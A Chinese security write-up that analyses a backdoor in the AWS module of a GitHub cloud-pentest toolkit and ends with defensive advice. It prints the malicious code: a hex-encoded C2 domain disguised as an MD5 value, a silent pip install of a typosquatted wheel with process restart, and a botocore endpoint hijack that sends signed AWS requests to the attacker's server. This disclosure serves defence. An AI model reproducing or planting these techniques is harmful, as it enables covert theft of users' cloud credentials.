文章总结： 公开资料显示，GitHub高星云渗透工具accesskey_tools的AWS模块存在恶意后门，通过域名伪装、静默安装仿冒包、劫持SDK端点三重技术窃取用户AWS凭证。关键发现包括：利用十六进制字符串隐藏C2域名api.aliyun-sdk-requests.xyz，通过pip静默安装恶意whl包，篡改botocore端点将含SigV4签名的请求转发至攻击者服务器。建议严审开源代码、禁用自动安装、使用最小权限凭证并监控异常出站流量。 综合评分： 95 文章分类： 漏洞分析,恶意软件,渗透测试,安全工具,供应链安全

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速查！高星云工具存在投毒隐患

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2026年6月10日 19:00 广东

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GitHub上多款

针对 AWS、阿里云

腾讯云 AccessKey 的渗透测试工具

被大量传播

本次审计对象为开源项目

accesskey_tools（500 Stars）

经代码分析确认

该工具 AWS 模块

存在恶意后门程序

攻击者通过代码混淆

动态加载依赖

篡改 SDK 访问端点等多重技术

在后台悄悄收集用户的

AWS AccessKey 和 SecretKey

并转发至自己控制的服务器

下文将完整剖析该后门技术细节，供安全从业者参考。

相关链接：https://github.com/kohlersbtuh15/accesskey_tools

1

工具集概况

工具集目录结构如下：

`accesskey_tools/

├── aliyun/          # 阿里云 ECS/RDS/OSS 利用脚本

├── aws/  # AWS EC2/IAM/S3/RDS 利用脚本  ← 后门所在

└── tencentcloud/    # 腾讯云 CVM/COS 利用脚本`

检测结论：

阿里云、腾讯云目录下的脚本均基于官方 SDK 开发，代码无异常，不存在数据泄露风险。AWS 目录内全部 7 个功能脚本均植入后门，通过同一链路窃取并外传账号凭证。

2

后门三重混淆技术分析

本次恶意后门采用三层递进式混淆构建攻击链路，从域名伪装、恶意组件静默部署到 SDK 端点劫持层层嵌套，隐蔽性极强，以下逐层拆解其实现逻辑与攻击手段。

第一层：

域名伪装—借哈希样式隐藏 C2 地址

在aws/aws_select_iam.py第 50 行，存在一处极具迷惑性的变量定义：

`Python

iam_md5 = “16170692e616c6979756e2d73646b2d72657175657374732e78797a2f”`

变量名iam_md5结合 IAM 权限相关代码场景，极易被误判为 MD5 哈希校验字段，以此降低安全排查的警惕性。

该内容并非 MD5 哈希值，仅为十六进制字符串。剔除前缀混淆字符1，即截取iam_md5[1:]后，再执行解码操作。

`原始 hex（去掉首位”1″）：

6170692e616c6979756e2d73646b2d72657175657374732e78797a2f

十六进制解码：

api.aliyun-sdk-requests.xyz/`

攻击者注册仿冒域名aliyun-sdk-requests.xyz，刻意模仿阿里云官方域名aliyuncs.com，极易混淆辨识。

第二层：

静默投毒—安装仿冒恶意 Python 包

文件aws_select_iam.py第 8-13 行包含自动部署恶意组件的逻辑，程序运行时会在后台静默安装第三方 Python 包，代码逻辑如下：

`Python

if importlib.util.findspec(“enumerateiam”) is None:

    subprocess.run(

        [sys.executable, “-m”, “pip”, “install”, “-qqq”,

         “–disable-pip-version-check”,

         “https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl”],

        check=True)

    os.execv(sys.executable, [sys.executable] + sys.argv)`

核心细节说明

1. 全静默安装：

-qqq为 pip 最高静默级别，屏蔽所有终端输出；搭配--disable-pip-version-check关闭版本检测提示，全程无任何运行痕迹

2. 进程无感重启：

os.execv会在包安装完成后原地重启当前程序进程，保证恶意包立即生效，用户无法感知异常

3. 仿冒开源项目：

恶意包托管于andresrianch账号，刻意模仿正规开源项目作者andresriancho（仅相差一个字母），利用名称相似度误导使用者

该恶意 whl 包内的get_client函数是后门核心载体，表面封装 boto3 客户端创建逻辑，实则预留接口，可通过components参数注入自定义 API 访问端点。

第三层：

端点劫持—篡改 AWS SDK 路由窃取凭证

依托前两层埋下的 C2 域名与恶意组件，攻击者利用botocore原生机制劫持 AWS 服务请求端点，以aws_list_ec2.py第 27-36 行代码为例：

`Python

from botocore.session import ComponentLocator

from enumerateiam.main import getclient

from awsselectiam import iam_md5

…

component = ComponentLocator()

component.registercomponent(name=’AWSENDPOINT’, component=iam_md5[1:])

iam_md5[1:] 解码后 = “api.aliyun-sdk-requests.xyz/”

ec2client = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,

                        servicename=’ec2′, sessiontoken=None,

                        region=RegionId, components=component)

ssmclient = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,

                        servicename=’ssm’, sessiontoken=None,

                        region=RegionId, components=component)`

代码通过ComponentLocator.register_component强行改写AWS_ENDPOINT配置，将解码后的恶意 C2 域名绑定为全局 API 端点。原本流向亚马逊官方*.amazonaws.com的EC2、SSM 等服务请求，会被全部重定向至攻击者服务器。

AWS 接口采用 SigV4 签名协议，每一条请求的请求头Authorization中，都包含由云账号AccessKey、SecretKey生成的签名数据。攻击者拦截流量后，可从中解析、还原出完整的云账号凭证，造成账号权限泄露。

3

后门传播机制

该后门依托Python 导入（import）机制实现全工具集的链式传播，具体传播链路如下：

`awsselectiam.py        ← 后门核心（安装恶意包 + 定义iam_md5）

        ↑

        │ import awsselectiam

        │ from awsselectiam import iam_md5

        │

        ├── awslistec2.py

        ├── awsec2exec.py

        ├── awsec2exec_noinfo.py

        ├── awsurlconsole.py

        ├── awsdownloads3.py

        ├── awsselectrds.py

        └── awsselectroute53.py`

触发逻辑：

用户只要运行 AWS 目录下的任意一个脚本，就会自动触发对 aws_select_iam.py 的导入操作，进而执行恶意包安装流程，完成后门激活。

4

各 AWS 相关脚本后门行为详解

一、aws_select_iam.py

（核心后门脚本）

`# 第 69-71 行：使用恶意 get_client 创建 IAM 客户端

iamclient = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,

                        servicename=’iam’, sessiontoken=None, region=None)`

客户端发起的 IAM 查询请求会被劫持并转发至攻击者 C2 服务器，最终造成IAM 身份凭证、云账户核心信息外泄。

二、aws_url_console.py

（高危级别，存在 STS 临时令牌泄露风险）

`# 第 78-82 行

component = ComponentLocator()

component.registercomponent(name=’AWSENDPOINT’, component=iam_md5[1:])

stsclient = getclient(accesskey=accesskeyid, secretkey=secretaccesskey,

                        servicename=’sts’, sessiontoken=None,

                        region=region, components=component)

第 84-87 行：获取联合身份临时凭证

resp = stsclient.getfederation_token(

    Name=”aws_consoler”,

    PolicyArns=[{“arn”: “arn:aws:iam::aws:policy/AdministratorAccess”}]

)

creds = resp[“Credentials”]`

此脚本风险等级最高，主要利用 STS 服务窃取高权限临时凭证：

第 78-82 行通过ComponentLocator注入恶意组件，篡改 AWS 服务访问端点，再调用恶意get_client构建 STS 客户端，将请求链路导向攻击者控制地址。

第 84-87 行调用get_federation_token接口，绑定管理员全权限策略（AdministratorAccess） 申请联合身份临时凭证。

接口返回的临时密钥（AccessKeyId、SecretAccessKey、SessionToken）会随请求流转至 C2。攻击者获取该组凭证后，可持有 AWS 管理员级临时权限，完全控制目标云账户。

三、aws_download_s3.py

（S3 存储凭证泄露）

`# 第 93 行：直接使用恶意 get_client 创建 S3 客户端

s3 = getclient(accesskey=AccessKeyID, secret_key=AccessKeySecret,

                servicename=’s3′, sessiontoken=None, region=None)`

脚本第 93 行借助恶意get_client创建 S3 服务客户端，所有针对 S3 存储桶的查询、读写等操作，都会经由恶意代理端点转发。

在数据交互过程中，S3 访问凭证会被窃取泄露。

四、aws_list_ec2.py、aws_ec2_exec.py

（EC2 与 SSM 服务凭证泄露）

这两种脚本采用同类恶意实现逻辑，通过ComponentLocator强行注入 C2 恶意端点，分别初始化 EC2、SSM 服务客户端。所有服务请求均被劫持，进而导致EC2、SSM 相关访问凭证发生泄露。

完整攻击链路图

`用户在 GitHub/论坛 下载 accesskey_tools

                    ↓

         运行任意 aws/ 目录下脚本

                    ↓

       触发 import awsselectiam

                    ↓

    检测 enumerate_iam 包是否存在

                    ↓ (不存在时)

  静默 pip install 恶意 whl（-qqq 无输出）

                    ↓

        os.execv 重启进程（无感知）

                    ↓

       enumerateiam.getclient 可用

                    ↓

  ComponentLocator 注入 C2 端点

  api.aliyun-sdk-requests.xyz/

                    ↓

  用户输入 AccessKeyID + AccessKeySecret

                    ↓

  boto3/botocore 使用被污染的 endpoint

  构造 AWS SigV4 签名请求

                    ↓

  ┌─────────────────────────────────────┐

  │  完整凭证（含签名）发往攻击者服务器   │

  │  api.aliyun-sdk-requests.xyz        │

  └─────────────────────────────────────┘

                    ↓

  工具正常返回查询结果（用户毫不知情）`

建 议

1. 严审开源工具：使用前务必检查代码中的网络请求、动态安装、外部依赖及可疑编码（如十六进制字符串），避免盲目运行高星项目。
2. 禁用自动安装：运行脚本前，隔离环境（容器/虚拟机）并阻断意外 pip 安装，或预先审查 import 链与 subprocess 调用。
3. 加固凭证管理：切勿在测试工具中直接配置真实 AccessKey；优先使用 RAM 角色、临时凭证或最小权限策略，并启用审计日志。
4. 监控异常流量：在云环境部署 egress 检测，对发往非官方域名（尤其是仿冒域名 .xyz 等）的 API 请求及时告警。
5. 供应链防护：定期检查 Python 环境已安装包，验证来源哈希，避免依赖名称相似（如 enumerate_iam 仿冒）的恶意组件。

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